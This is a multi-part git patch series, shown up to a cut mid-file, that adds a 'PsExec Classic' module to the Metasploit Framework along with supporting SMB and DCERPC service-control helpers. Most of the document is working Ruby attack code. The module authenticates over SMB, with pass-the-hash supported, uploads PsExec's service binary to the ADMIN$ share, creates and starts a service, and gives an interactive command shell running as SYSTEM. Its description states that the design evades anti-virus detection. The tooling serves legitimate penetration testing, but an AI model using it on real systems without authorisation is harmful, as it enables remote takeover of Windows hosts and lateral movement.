From 5b59e616100e6296467606e3ba7db714d3e08bbe Mon Sep 17 00:00:00 2001 From: Joe Testa Date: Wed, 29 May 2013 15:00:05 -0400 Subject: [PATCH 01/15] Added auxiliary/admin/smb/psexec_classic --- lib/rex/proto/smb/client.rb | 33 ++ modules/auxiliary/admin/smb/psexec_classic.rb | 467 ++++++++++++++++++ 2 files changed, 500 insertions(+) create mode 100644 modules/auxiliary/admin/smb/psexec_classic.rb diff --git a/lib/rex/proto/smb/client.rb b/lib/rex/proto/smb/client.rb index 807713956e60..df96d7f1bb69 100644 --- a/lib/rex/proto/smb/client.rb +++ b/lib/rex/proto/smb/client.rb @@ -148,6 +148,7 @@ def smb_defaults(packet) packet.v['TreeID'] = self.last_tree_id.to_i packet.v['UserID'] = self.auth_user_id.to_i packet.v['ProcessID'] = self.process_id.to_i + self.multiplex_id = (self.multiplex_id + 16) % 65536 end @@ -1291,6 +1292,38 @@ def write(file_id = self.last_file_id, offset = 0, data = '', do_recv = true) return ack end + def write_raw(file_id, flags1, flags2, wordcount, andx_command, andx_offset, offset, write_mode, remaining, data_len_high, data_len_low, data_offset, high_offset, byte_count, data, do_recv) + + pkt = CONST::SMB_WRITE_PKT.make_struct + self.smb_defaults(pkt['Payload']['SMB']) + + pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_WRITE_ANDX + pkt['Payload']['SMB'].v['Flags1'] = flags1 + pkt['Payload']['SMB'].v['Flags2'] = flags2 + + pkt['Payload']['SMB'].v['WordCount'] = wordcount + + pkt['Payload'].v['AndX'] = andx_command + pkt['Payload'].v['AndXOffset'] = andx_offset + pkt['Payload'].v['FileID'] = file_id + pkt['Payload'].v['Offset'] = offset + pkt['Payload'].v['Reserved2'] = -1 + pkt['Payload'].v['WriteMode'] = write_mode + pkt['Payload'].v['Remaining'] = remaining + pkt['Payload'].v['DataLenHigh'] = data_len_high + pkt['Payload'].v['DataLenLow'] = data_len_low + pkt['Payload'].v['DataOffset'] = data_offset + pkt['Payload'].v['HighOffset'] = high_offset + pkt['Payload'].v['ByteCount'] = byte_count + + pkt['Payload'].v['Payload'] = data + + ret = self.smb_send(pkt.to_s) + return ret if not do_recv + + ack = self.smb_recv_parse(CONST::SMB_COM_WRITE_ANDX) + return ack + end # Reads data from an open file handle def read(file_id = self.last_file_id, offset = 0, data_length = 64000, do_recv = true) diff --git a/modules/auxiliary/admin/smb/psexec_classic.rb b/modules/auxiliary/admin/smb/psexec_classic.rb new file mode 100644 index 000000000000..8fc2d11a1e39 --- /dev/null +++ b/modules/auxiliary/admin/smb/psexec_classic.rb @@ -0,0 +1,467 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'digest' +require 'msf/core' +require 'rex/proto/smb/constants' +require 'rex/proto/smb/exceptions' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::DCERPC + include Msf::Exploit::Remote::SMB + include Msf::Exploit::Remote::SMB::Authenticated + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'PsExec Classic', + 'Description' => %q{ + This module mimics the classic PsExec tool from Microsoft SysInternals. Anti-virus software has recently rendered the commonly-used exploit/windows/smb/psexec module much less useful because the uploaded executable stub is usually detected and deleted before it can be used. This module sends the same code to the target as the authentic PsExec (which happens to have a digital signature from Microsoft), thus anti-virus software cannot distinguish the difference. AV cannot block it without also blocking the authentic version. Of course, this module also supports pass-the-hash, which the authentic PsExec does not. You must provide a local path to the authentic PsExec.exe (via the PSEXEC_PATH option) so that the PSEXESVC.EXE service code can be extracted and uploaded to the target. The specified command (via the COMMAND option) will be executed with SYSTEM privileges. + }, + 'Author' => + [ + 'Joe Testa ', + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'URL', 'http://technet.microsoft.com/en-us/sysinternals/bb897553.aspx' ] + ], + 'Platform' => 'win', + )) + + register_options( + [ + OptString.new('PSEXEC_PATH', [ true, "The local path to the authentic PsExec.exe", '' ]), + OptString.new('COMMAND', [ true, "The program to execute with SYSTEM privileges.", 'cmd.exe' ]) + ], self.class ) + end + + def run() + psexec_path = datastore['PSEXEC_PATH'] + command = datastore['COMMAND'] + + # Make sure that the user provided a path to the latest version + # of PsExec (v1.98) by examining the file's hash. + print_status("Calculating SHA-256 hash of #{psexec_path}...") + hash = Digest::SHA256.file(psexec_path).hexdigest + if hash != 'f8dbabdfa03068130c277ce49c60e35c029ff29d9e3c74c362521f3fb02670d5' + print_error("Hash is not correct!\nExpected: f8dbabdfa03068130c277ce49c60e35c029ff29d9e3c74c362521f3fb02670d5\nActual: #{hash}\nEnsure that you have PsExec v1.98.") + return false + end + + print_status("File hash verified. Extracting PSEXESVC.EXE code from #{psexec_path}...") + + # Extract the PSEXESVC.EXE code from PsExec.exe. + hPsExec = File.open(datastore['PSEXEC_PATH'], 'r') + hPsExec.seek(193288) + psexesvc = hPsExec.read(181064) + hPsExec.close + + print_status("Connecting to #{datastore['RHOST']}...") + if not connect + print_error("Failed to connect.") + return false + end + + print_status("Authenticating to #{smbhost} as user '#{splitname(datastore['SMBUser'])}'...") + smb_login + + if (not simple.client.auth_user) + print_error("Server granted only Guest privileges.") + disconnect + return false + end + + + print_status('Uploading PSEXESVC.EXE...') + simple.connect("\\\\#{datastore['RHOST']}\\ADMIN\$") + + # Attempt to upload PSEXESVC.EXE into the ADMIN$ share. If this + # fails, + begin + fd = smb_open('\\PSEXESVC.EXE', 'rwct') + fd << psexesvc + fd.close + print_status('Created \PSEXESVC.EXE in ADMIN$ share.') + rescue Rex::Proto::SMB::Exceptions::ErrorCode => e + # 0xC0000043 = STATUS_SHARING_VIOLATION, which in this + # case means that the file was already there from a + # previous invocation... + if e.error_code == 0xC0000043 + print_error('Failed to upload PSEXESVC.EXE into ADMIN$ share because it already exists. Attepting to continue...') + else + print_error('Error ' + e.get_error(e.error_code) + ' while uploading PSEXESVC.EXE into ADMIN$ share. Attempting to continue...') + end + end + psexesvc = nil + + simple.disconnect("\\\\#{datastore['RHOST']}\\ADMIN\$") + + print_status('Connecting to IPC$...') + simple.connect("\\\\#{datastore['RHOST']}\\IPC\$") + handle = dcerpc_handle('367abb81-9844-35f1-ad32-98f038001003', '2.0', 'ncacn_np', ["\\svcctl"]) + print_status("Binding to DCERPC handle #{handle}...") + dcerpc_bind(handle) + print_status("Successfully bound to #{handle} ...") + + ## + # OpenSCManagerW() + ## + + print_status("Obtaining a service manager handle...") + scm_handle = nil + stubdata = + NDR.uwstring("\\\\#{rhost}") + + NDR.long(0) + + NDR.long(0xF003F) + begin + response = dcerpc.call(0x0f, stubdata) + if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) + scm_handle = dcerpc.last_response.stub_data[0,20] + end + rescue ::Exception => e + print_error("Error: #{e}") + return + end + + ## + # CreateServiceW() + ## + + svc_handle = nil + svc_status = nil + + print_status("Creating a new service (PSEXECSVC - \"PsExec\")...") + stubdata = + scm_handle + + NDR.wstring('PSEXESVC') + + NDR.uwstring('PsExec') + + + NDR.long(0x0F01FF) + # Access: MAX + NDR.long(0x00000010) + # Type: Own process + NDR.long(0x00000003) + # Start: Demand + NDR.long(0x00000000) + # Errors: Ignore + NDR.wstring('%SystemRoot%\PSEXESVC.EXE') + # Binary Path + NDR.long(0) + # LoadOrderGroup + NDR.long(0) + # Dependencies + NDR.long(0) + # Service Start + NDR.long(0) + # Password + NDR.long(0) + # Password + NDR.long(0) + # Password + NDR.long(0) # Password + begin + response = dcerpc.call(0x0c, stubdata) + if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) + svc_handle = dcerpc.last_response.stub_data[0,20] + svc_status = dcerpc.last_response.stub_data[24,4] + end + rescue ::Exception => e + print_error("Error: #{e}") + return + end + + ## + # CloseHandle() + ## + print_status("Closing service handle...") + begin + response = dcerpc.call(0x0, svc_handle) + rescue ::Exception + end + + ## + # OpenServiceW + ## + print_status("Opening service...") + begin + stubdata = + scm_handle + + NDR.wstring('PSEXESVC') + + NDR.long(0xF01FF) + + response = dcerpc.call(0x10, stubdata) + if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) + svc_handle = dcerpc.last_response.stub_data[0,20] + end + rescue ::Exception => e + print_error("Error: #{e}") + return + end + + ## + # StartService() + ## + print_status("Starting the service...") + stubdata = + svc_handle + + NDR.long(0) + + NDR.long(0) + begin + response = dcerpc.call(0x13, stubdata) + if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) + end + rescue ::Exception => e + print_error("Error: #{e}") + return + end + + print_status("Connecting to \\psexecsvc pipe...") + psexecsvc_proc = simple.create_pipe('\psexecsvc') + + # For some reason, the service needs to be pinged first to + # wake it up... + magic = simple.trans_pipe(psexecsvc_proc.file_id, NDR.long(0xBE)) + + # Make up a random hostname and local PID to send to the + # service. It will create named pipes for stdin/out/err based + # on these. + random_hostname = Rex::Text.rand_text_alpha(12) + random_client_pid_low = rand(255) + random_client_pid_high = rand(255) + random_client_pid = (random_client_pid_low + (random_client_pid_high * 256)).to_s + + print_status("Instructing service to execute #{command}...") + smbclient = simple.client + + # The standard client.write() method doesn't work since the + # service is expecting certain packet flags to be set. Hence, + # we need to use client.write_raw() and specify everything + # ourselves (such as Unicode strings, AndXOffsets, and data + # offsets). + + # In the first message, we tell the service our made-up + # hostname and PID, and tell it what program to execute. + smbclient.write_raw(psexecsvc_proc.file_id, 0x18, 0xc807, 14, 255, 0, 0, 0x000c, 19032, 0, 4292, 64, 0, 4293, "\xee\x58\x4a\x58\x4a\x00\x00" << random_client_pid_low.chr << random_client_pid_high.chr << "\x00\x00" + Rex::Text.to_unicode(random_hostname) << ("\x00" * 496) << Rex::Text.to_unicode(command) << ("\x00" * (3762 - (command.length * 2))), true) + + # In the next three messages, we just send lots of zero bytes... + smbclient.write_raw(psexecsvc_proc.file_id, 0x18, 0xc807, 14, 255, 57054, 4290, 0x0004, 19032, 0, 4290, 64, 0, 4291, "\xee" << ("\x00" * 4290), true) + + smbclient.write_raw(psexecsvc_proc.file_id, 0x18, 0xc807, 14, 255, 57054, 8580, 0x0004, 19032, 0, 4290, 64, 0, 4291, "\xee" << ("\x00" * 4290), true) + + smbclient.write_raw(psexecsvc_proc.file_id, 0x18, 0xc807, 14, 255, 57054, 12870, 0x0004, 19032, 0, 4290, 64, 0, 4291, "\xee" << ("\x00" * 4290), true) + + # In the final message, we give it some magic bytes. This + # (somehow) corresponds to the "-s" flag in PsExec.exe, which + # tells it to execute the specified command as SYSTEM. + smbclient.write_raw(psexecsvc_proc.file_id, 0x18, 0xc807, 14, 255, 57054, 17160, 0x0004, 19032, 0, 1872, 64, 0, 1873, "\xee" << ("\x00" * 793) << "\x01" << ("\x00" * 14) << "\xff\xff\xff\xff" << ("\x00" * 1048) << "\x01" << ("\x00" * 11), true) + + + # Connect to the named pipes that correspond to stdin, stdout, + # and stderr. + psexecsvc_proc_stdin = connect_to_pipe("\psexecsvc-#{random_hostname}-#{random_client_pid}-stdin") + psexecsvc_proc_stdout = connect_to_pipe("\psexecsvc-#{random_hostname}-#{random_client_pid}-stdout") + psexecsvc_proc_stderr = connect_to_pipe("\psexecsvc-#{random_hostname}-#{random_client_pid}-stderr") + + + # Read from stdout and stderr. We need to record the multiplex + # IDs so that when we get a response, we know which it belongs + # to. Trial & error showed that the service DOES NOT like it + # when you repeatedly try to read from a pipe when it hasn't + # returned from the last call. Hence, we use these IDs to know + # when to call read again. + stdout_multiplex_id = smbclient.multiplex_id + smbclient.read(psexecsvc_proc_stdout.file_id, 0, 1024, false) + + stderr_multiplex_id = smbclient.multiplex_id + smbclient.read(psexecsvc_proc_stderr.file_id, 0, 1024, false) + + # Loop to read responses from the server and process commands + # from the user. + socket = smbclient.socket + rds = [socket, $stdin] + wds = [] + eds = [] + last_char = nil + + begin + while true + r,w,e = ::IO.select(rds, wds, eds, 1.0) + + # If we have data from the socket to read... + if (r != nil) and (r.include? socket) + + # Read the SMB packet. + data = smbclient.smb_recv + smbpacket = Rex::Proto::SMB::Constants::SMB_BASE_PKT.make_struct + smbpacket.from_s(data) + + # If this is a response to our read + # command... + if smbpacket['Payload']['SMB'].v['Command'] == Rex::Proto::SMB::Constants::SMB_COM_READ_ANDX + parsed_smbpacket = smbclient.smb_parse_read(smbpacket, data) + + # Check to see if this is a STATUS_PIPE_DISCONNECTED + # (0xc00000b0) message, which tells us that the remote program + # has terminated. + if parsed_smbpacket['Payload']['SMB'].v['ErrorClass'] == 0xc00000b0 + print_status "Received STATUS_PIPE_DISCONNECTED. Terminating..." + # Read in another SMB packet, since program termination + # causes both the stdout and stderr pipes to issue a + # disconnect message. + smbclient.smb_recv rescue nil + + # Break out of the while loop so we can clean up. + break + end + + # Print the data from our read request. + print parsed_smbpacket['Payload'].v['Payload'] + + # Check the multiplex ID from this read response, and see + # which pipe it came from (stdout or stderr?). Issue another + # read request on that pipe. + received_multiplex_id = parsed_smbpacket['Payload']['SMB'].v['MultiplexID'] + if received_multiplex_id == stdout_multiplex_id + stdout_multiplex_id = smbclient.multiplex_id + smbclient.read(psexecsvc_proc_stdout.file_id, 0, 1024, false) + elsif received_multiplex_id == stderr_multiplex_id + stderr_multiplex_id = smbclient.multiplex_id + smbclient.read(psexecsvc_proc_stderr.file_id, 0, 1024, false) + end + end + end + + # If the user entered some input. + if (r != nil) and (r.include? $stdin) + + # There's actually an entire line of text available, but the + # standard PsExec.exe client sends one byte at a time, so we'll + # duplicate this behavior. + data = $stdin.read_nonblock(1) + + # The remote program expects CRLF line endings, but in Linux, we + # only get LF line endings... + if data == "\x0a" and last_char != "\x0d" + smbclient.write_raw(psexecsvc_proc_stdin.file_id, 0x18, 0xc807, 14, 255, 57054, 0, 0x0008, 1, 0, 1, 64, 0, 2, "\xee\x0d", true) + end + + smbclient.write_raw(psexecsvc_proc_stdin.file_id, 0x18, 0xc807, 14, 255, 57054, 0, 0x0008, 1, 0, 1, 64, 0, 2, "\xee" << data, true) + last_char = data + end + end + rescue ::Exception => e + print_error("Error: #{e}") + print_status('Attempting to terminate gracefully...') + end + + + # Time to clean up. Close the handles to stdin, stdout, + # stderr, as well as the handle to the \psexecsvc pipe. + smbclient.close(psexecsvc_proc_stdin.file_id) rescue nil + smbclient.close(psexecsvc_proc_stdout.file_id) rescue nil + smbclient.close(psexecsvc_proc_stderr.file_id) rescue nil + smbclient.close(psexecsvc_proc.file_id) rescue nil + + + ## + # ControlService() + ## + print_status("Stopping the service...") + begin + response = dcerpc.call(0x01, svc_handle + NDR.long(1)) + rescue ::Exception => e + print_error("Error: #{e}") + end + + + if wait_for_service_to_stop(svc_handle) == false + print_error('Could not stop the PSEXECSVC service. Attempting to continue cleanup...') + end + + ## + # DeleteService() + ## + print_status("Removing the service...") + begin + response = dcerpc.call(0x02, svc_handle) + rescue ::Exception => e + print_error("Error: #{e}") + end + + ## + # CloseHandle() + ## + print_status("Closing service handle...") + begin + response = dcerpc.call(0x0, svc_handle) + rescue ::Exception => e + print_error("Error: #{e}") + end + + # Disconnect from the IPC$ share. + print_status("Disconnecting from \\\\#{datastore['RHOST']}\\IPC\$") + simple.disconnect("\\\\#{datastore['RHOST']}\\IPC\$") + + # Connect to the ADMIN$ share so we can delete PSEXECSVC.EXE. + print_status("Connecting to \\\\#{datastore['RHOST']}\\ADMIN\$") + simple.connect("\\\\#{datastore['RHOST']}\\ADMIN\$") + + print_status('Deleting \\PSEXESVC.EXE...') + simple.delete('\\PSEXESVC.EXE') + + # Disconnect from the ADMIN$ share. Now we're done! + print_status("Disconnecting from \\\\#{datastore['RHOST']}\\ADMIN\$") + simple.disconnect("\\\\#{datastore['RHOST']}\\ADMIN\$") + + end + + # Connects to the specified named pipe. If it cannot be done, up + # to three retries are made. + def connect_to_pipe(pipe_name) + retries = 0 + pipe_fd = nil + while (retries < 3) and (pipe_fd == nil) + # On the first retry, wait one second, on the second + # retry, wait two... + select(nil, nil, nil, retries) + + begin + pipe_fd = simple.create_pipe(pipe_name) + rescue + retries += 1 + end + end + + if pipe_fd != nil + print_status("Connected to named pipe #{pipe_name}.") + else + print_error("Failed to connect to #{pipe_name}!") + end + + return pipe_fd + end + + # Query the service and wait until its stopped. Wait one second + # before the first retry, two seconds before the second retry, + # and three seconds before the last attempt. + def wait_for_service_to_stop(svc_handle) + service_stopped = false + retries = 0 + while (retries < 3) and (service_stopped == false) + select(nil, nil, nil, retries) + + ## + # QueryServiceStatus() + ## + begin + response = dcerpc.call(0x06, svc_handle) + rescue ::Exception => e + print_error("Error: #{e}") + end + + # This byte string signifies that the service is + # stopped. + if response[0,9] == "\x10\x00\x00\x00\x01\x00\x00\x00\x00" + service_stopped = true + else + retries += 1 + end + end + return service_stopped + end +end From 1df605053f9228fd0bc69127707c92d6aaaafbc7 Mon Sep 17 00:00:00 2001 From: Joe Testa Date: Tue, 25 Jun 2013 17:16:39 -0400 Subject: [PATCH 02/15] Ran msftidy and fixed spacing issues. --- modules/auxiliary/admin/smb/psexec_classic.rb | 61 ++++++++++++------- 1 file changed, 39 insertions(+), 22 deletions(-) diff --git a/modules/auxiliary/admin/smb/psexec_classic.rb b/modules/auxiliary/admin/smb/psexec_classic.rb index 8fc2d11a1e39..47e0ea3ffc99 100644 --- a/modules/auxiliary/admin/smb/psexec_classic.rb +++ b/modules/auxiliary/admin/smb/psexec_classic.rb @@ -20,7 +20,11 @@ def initialize(info = {}) super(update_info(info, 'Name' => 'PsExec Classic', 'Description' => %q{ - This module mimics the classic PsExec tool from Microsoft SysInternals. Anti-virus software has recently rendered the commonly-used exploit/windows/smb/psexec module much less useful because the uploaded executable stub is usually detected and deleted before it can be used. This module sends the same code to the target as the authentic PsExec (which happens to have a digital signature from Microsoft), thus anti-virus software cannot distinguish the difference. AV cannot block it without also blocking the authentic version. Of course, this module also supports pass-the-hash, which the authentic PsExec does not. You must provide a local path to the authentic PsExec.exe (via the PSEXEC_PATH option) so that the PSEXESVC.EXE service code can be extracted and uploaded to the target. The specified command (via the COMMAND option) will be executed with SYSTEM privileges. + This module mimics the classic PsExec tool from Microsoft SysInternals. Anti-virus software has recently rendered the commonly-used exploit/windows/smb/psexec module much less useful + because the uploaded executable stub is usually detected and deleted before it can be used. This module sends the same code to the target as the authentic PsExec + (which happens to have a digital signature from Microsoft), thus anti-virus software cannot distinguish the difference. AV cannot block it without also blocking the authentic version. + Of course, this module also supports pass-the-hash, which the authentic PsExec does not. You must provide a local path to the authentic PsExec.exe (via the PSEXEC_PATH option) + so that the PSEXESVC.EXE service code can be extracted and uploaded to the target. The specified command (via the COMMAND option) will be executed with SYSTEM privileges. }, 'Author' => [ @@ -57,7 +61,7 @@ def run() print_status("File hash verified. Extracting PSEXESVC.EXE code from #{psexec_path}...") # Extract the PSEXESVC.EXE code from PsExec.exe. - hPsExec = File.open(datastore['PSEXEC_PATH'], 'r') + hPsExec = File.open(datastore['PSEXEC_PATH'], 'rb') hPsExec.seek(193288) psexesvc = hPsExec.read(181064) hPsExec.close @@ -82,7 +86,8 @@ def run() simple.connect("\\\\#{datastore['RHOST']}\\ADMIN\$") # Attempt to upload PSEXESVC.EXE into the ADMIN$ share. If this - # fails, + # fails, attempt to continue since it might already exist from + # a previous run. begin fd = smb_open('\\PSEXESVC.EXE', 'rwct') fd << psexesvc @@ -128,20 +133,19 @@ def run() print_error("Error: #{e}") return end - + ## # CreateServiceW() ## - + svc_handle = nil svc_status = nil - + print_status("Creating a new service (PSEXECSVC - \"PsExec\")...") - stubdata = - scm_handle + + stubdata = scm_handle + NDR.wstring('PSEXESVC') + NDR.uwstring('PsExec') + - + NDR.long(0x0F01FF) + # Access: MAX NDR.long(0x00000010) + # Type: Own process NDR.long(0x00000003) + # Start: Demand @@ -164,7 +168,7 @@ def run() print_error("Error: #{e}") return end - + ## # CloseHandle() ## @@ -173,7 +177,7 @@ def run() response = dcerpc.call(0x0, svc_handle) rescue ::Exception end - + ## # OpenServiceW ## @@ -183,7 +187,7 @@ def run() scm_handle + NDR.wstring('PSEXESVC') + NDR.long(0xF01FF) - + response = dcerpc.call(0x10, stubdata) if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) svc_handle = dcerpc.last_response.stub_data[0,20] @@ -209,7 +213,8 @@ def run() print_error("Error: #{e}") return end - + + print_status("Connecting to \\psexecsvc pipe...") psexecsvc_proc = simple.create_pipe('\psexecsvc') @@ -224,19 +229,26 @@ def run() random_client_pid_low = rand(255) random_client_pid_high = rand(255) random_client_pid = (random_client_pid_low + (random_client_pid_high * 256)).to_s - + print_status("Instructing service to execute #{command}...") smbclient = simple.client - + # The standard client.write() method doesn't work since the # service is expecting certain packet flags to be set. Hence, # we need to use client.write_raw() and specify everything # ourselves (such as Unicode strings, AndXOffsets, and data # offsets). - + # In the first message, we tell the service our made-up # hostname and PID, and tell it what program to execute. - smbclient.write_raw(psexecsvc_proc.file_id, 0x18, 0xc807, 14, 255, 0, 0, 0x000c, 19032, 0, 4292, 64, 0, 4293, "\xee\x58\x4a\x58\x4a\x00\x00" << random_client_pid_low.chr << random_client_pid_high.chr << "\x00\x00" + Rex::Text.to_unicode(random_hostname) << ("\x00" * 496) << Rex::Text.to_unicode(command) << ("\x00" * (3762 - (command.length * 2))), true) + smbclient.write_raw(psexecsvc_proc.file_id, 0x18, 0xc807, 14, + 255, 0, 0, 0x000c, 19032, 0, 4292, 64, 0, 4293, + "\xee\x58\x4a\x58\x4a\x00\x00" << + random_client_pid_low.chr << + random_client_pid_high.chr << "\x00\x00" << + Rex::Text.to_unicode(random_hostname) << + ("\x00" * 496) << Rex::Text.to_unicode(command) << + ("\x00" * (3762 - (command.length * 2))), true) # In the next three messages, we just send lots of zero bytes... smbclient.write_raw(psexecsvc_proc.file_id, 0x18, 0xc807, 14, 255, 57054, 4290, 0x0004, 19032, 0, 4290, 64, 0, 4291, "\xee" << ("\x00" * 4290), true) @@ -248,9 +260,13 @@ def run() # In the final message, we give it some magic bytes. This # (somehow) corresponds to the "-s" flag in PsExec.exe, which # tells it to execute the specified command as SYSTEM. - smbclient.write_raw(psexecsvc_proc.file_id, 0x18, 0xc807, 14, 255, 57054, 17160, 0x0004, 19032, 0, 1872, 64, 0, 1873, "\xee" << ("\x00" * 793) << "\x01" << ("\x00" * 14) << "\xff\xff\xff\xff" << ("\x00" * 1048) << "\x01" << ("\x00" * 11), true) + smbclient.write_raw(psexecsvc_proc.file_id, 0x18, 0xc807, 14, + 255, 57054, 17160, 0x0004, 19032, 0, 1872, 64, 0, 1873, + "\xee" << ("\x00" * 793) << "\x01" << ("\x00" * 14) << + "\xff\xff\xff\xff" << ("\x00" * 1048) << "\x01" << + ("\x00" * 11), true) + - # Connect to the named pipes that correspond to stdin, stdout, # and stderr. psexecsvc_proc_stdin = connect_to_pipe("\psexecsvc-#{random_hostname}-#{random_client_pid}-stdin") @@ -339,7 +355,7 @@ def run() if data == "\x0a" and last_char != "\x0d" smbclient.write_raw(psexecsvc_proc_stdin.file_id, 0x18, 0xc807, 14, 255, 57054, 0, 0x0008, 1, 0, 1, 64, 0, 2, "\xee\x0d", true) end - + smbclient.write_raw(psexecsvc_proc_stdin.file_id, 0x18, 0xc807, 14, 255, 57054, 0, 0x0008, 1, 0, 1, 64, 0, 2, "\xee" << data, true) last_char = data end @@ -382,7 +398,7 @@ def run() rescue ::Exception => e print_error("Error: #{e}") end - + ## # CloseHandle() ## @@ -419,7 +435,7 @@ def connect_to_pipe(pipe_name) # On the first retry, wait one second, on the second # retry, wait two... select(nil, nil, nil, retries) - + begin pipe_fd = simple.create_pipe(pipe_name) rescue @@ -452,6 +468,7 @@ def wait_for_service_to_stop(svc_handle) response = dcerpc.call(0x06, svc_handle) rescue ::Exception => e print_error("Error: #{e}") + return false end # This byte string signifies that the service is From a9a4138537e61c371b4410b2cd208b2bdead2991 Mon Sep 17 00:00:00 2001 From: Joe Testa Date: Mon, 15 Jul 2013 16:32:40 -0400 Subject: [PATCH 03/15] Moved MSRPC calls into new Exploit::Remote::DCERPC_SERVICES module. Created new Exploit::Remote::SMB::PsexecSvc mixin as well. --- lib/msf/core/exploit/dcerpc.rb | 2 + lib/msf/core/exploit/dcerpc_services.rb | 229 ++++++++++++++++++ lib/msf/core/exploit/smb/psexec_svc.rb | 53 ++++ modules/auxiliary/admin/smb/psexec_classic.rb | 208 ++++++---------- 4 files changed, 352 insertions(+), 140 deletions(-) create mode 100644 lib/msf/core/exploit/dcerpc_services.rb create mode 100644 lib/msf/core/exploit/smb/psexec_svc.rb diff --git a/lib/msf/core/exploit/dcerpc.rb b/lib/msf/core/exploit/dcerpc.rb index ff700984bea9..e6ce5d5c306f 100644 --- a/lib/msf/core/exploit/dcerpc.rb +++ b/lib/msf/core/exploit/dcerpc.rb @@ -4,6 +4,7 @@ require 'msf/core/exploit/dcerpc_epm' require 'msf/core/exploit/dcerpc_mgmt' require 'msf/core/exploit/dcerpc_lsa' +require 'msf/core/exploit/dcerpc_services' module Msf @@ -32,6 +33,7 @@ module Exploit::Remote::DCERPC include Exploit::Remote::DCERPC_EPM include Exploit::Remote::DCERPC_MGMT include Exploit::Remote::DCERPC_LSA + include Exploit::Remote::DCERPC_SERVICES def initialize(info = {}) super diff --git a/lib/msf/core/exploit/dcerpc_services.rb b/lib/msf/core/exploit/dcerpc_services.rb new file mode 100644 index 000000000000..e0a806d0fdcd --- /dev/null +++ b/lib/msf/core/exploit/dcerpc_services.rb @@ -0,0 +1,229 @@ +# -*- coding: binary -*- +module Msf + +### +# This module implements MSRPC functions that control creating, deleting, starting, stopping, and querying system services. +### +module Exploit::Remote::DCERPC_SERVICES + + NDR = Rex::Encoder::NDR + + + # Calls OpenSCManagerW() to obtain a handle to the service control manager. + # + # @param dcerpc [Rex::Proto::DCERPC::Client] the DCERPC client to use. + # @param rhost [String] the target host. + # @param access [Fixnum] the access flags requested. + # + # @return [String] the handle to the service control manager. + def dce_openscmanagerw(dcerpc, rhost, access = 0xF003F) + scm_handle = nil + scm_status = nil + stubdata = + NDR.uwstring("\\\\#{rhost}") + + NDR.long(0) + + NDR.long(access) + response = dcerpc.call(0x0f, stubdata) + if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) + scm_handle = dcerpc.last_response.stub_data[0,20] + scm_status = dcerpc.last_response.stub_data[20,4] + end + + if scm_status.to_i != 0 + scm_handle = nil + end + return scm_handle + end + + + # Calls CreateServiceW() to create a system service. Returns a handle to the service on success, or nil. + # + # @param dcerpc [Rex::Proto::DCERPC::Client] the DCERPC client to use. + # @param scm_handle [String] the SCM handle (from dce_openscmanagerw()). + # @param service_name [String] the service name. + # @param display_name [String] the display name. + # @param binary_path [String] the path of the binary to run. + # @param opts [Hash] a hash containing the following keys and values: + # access [Fixnum] the access level (default is maximum). + # type [Fixnum] the type of service (default is interactive, own process). + # start [Fixnum] the start options (default is on demand). + # errors [Fixnum] the error options (default is ignore). + # load_order_group [Fixnum] the load order group. + # dependencies [Fixnum] the dependencies of the service. + # service_start [Fixnum] + # password1 [Fixnum] + # password2 [Fixnum] + # password3 [Fixnum] + # password4 [Fixnum] + # + # @return [String] a handle to the created service. + def dce_createservicew(dcerpc, scm_handle, service_name, display_name, binary_path, opts) + default_opts = { + :access => 0x0F01FF, # Maximum access. + :type => 0x00000110, # Interactive, own process. + :start => 0x00000003, # Start on demand. + :errors => 0x00000000,# Ignore errors. + :load_order_group => 0, + :dependencies => 0, + :service_start => 0, + :password1 => 0, + :password2 => 0, + :password3 => 0, + :password4 => 0 + }.merge(opts) + + svc_handle = nil + svc_status = nil + stubdata = scm_handle + + NDR.wstring(service_name) + + NDR.uwstring(display_name) + + NDR.long(default_opts[:access]) + + NDR.long(default_opts[:type]) + + NDR.long(default_opts[:start]) + + NDR.long(default_opts[:errors]) + + NDR.wstring(binary_path) + + NDR.long(default_opts[:load_order_group]) + + NDR.long(default_opts[:dependencies]) + + NDR.long(default_opts[:service_start]) + + NDR.long(default_opts[:password1]) + + NDR.long(default_opts[:password2]) + + NDR.long(default_opts[:password3]) + + NDR.long(default_opts[:password4]) + response = dcerpc.call(0x0c, stubdata) + if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) + svc_handle = dcerpc.last_response.stub_data[4,20] + svc_status = dcerpc.last_response.stub_data[20,4] + end + + if svc_status.to_i != 0 + svc_handle = nil + end + return svc_handle + end + + # Calls CloseHandle() to close a handle. Returns true on success, or false. + # + # @param dcerpc [Rex::Proto::DCERPC::Client] the DCERPC client to use. + # @param handle [String] the handle to close. + # + # @return [Boolean] true if the handle was successfully closed, or false if not. + def dce_closehandle(dcerpc, handle) + ret = false + response = dcerpc.call(0x0, handle) + if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) + if dcerpc.last_response.stub_data[20,4].to_i == 0 + ret = true + end + end + return ret + end + + # Calls OpenServiceW to obtain a handle to an existing service. + # + # @param dcerpc [Rex::Proto::DCERPC::Client] the DCERPC client to use. + # @param scm_handle [String] the SCM handle (from dce_openscmanagerw()). + # @param service_name [String] the name of the service to open. + # @param access [Fixnum] the level of access requested (default is maximum). + # + # @return [String, nil] the handle of the service opened, or nil on failure. + def dce_openservicew(dcerpc, scm_handle, service_name, access = 0xF01FF) + svc_handle = nil + svc_status = nil + stubdata = scm_handle + NDR.wstring(service_name) + NDR.long(access) + response = dcerpc.call(0x10, stubdata) + if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) + svc_handle = dcerpc.last_response.stub_data[0,20] + svc_status = dcerpc.last_response.stub_data[20,4] + end + + if svc_status.to_i != 0 + svc_handle = nil + end + return svc_handle + end + + # Calls StartService() on a handle to an existing service in order to start it. Returns true on success, or false. + # + # @param dcerpc [Rex::Proto::DCERPC::Client] the DCERPC 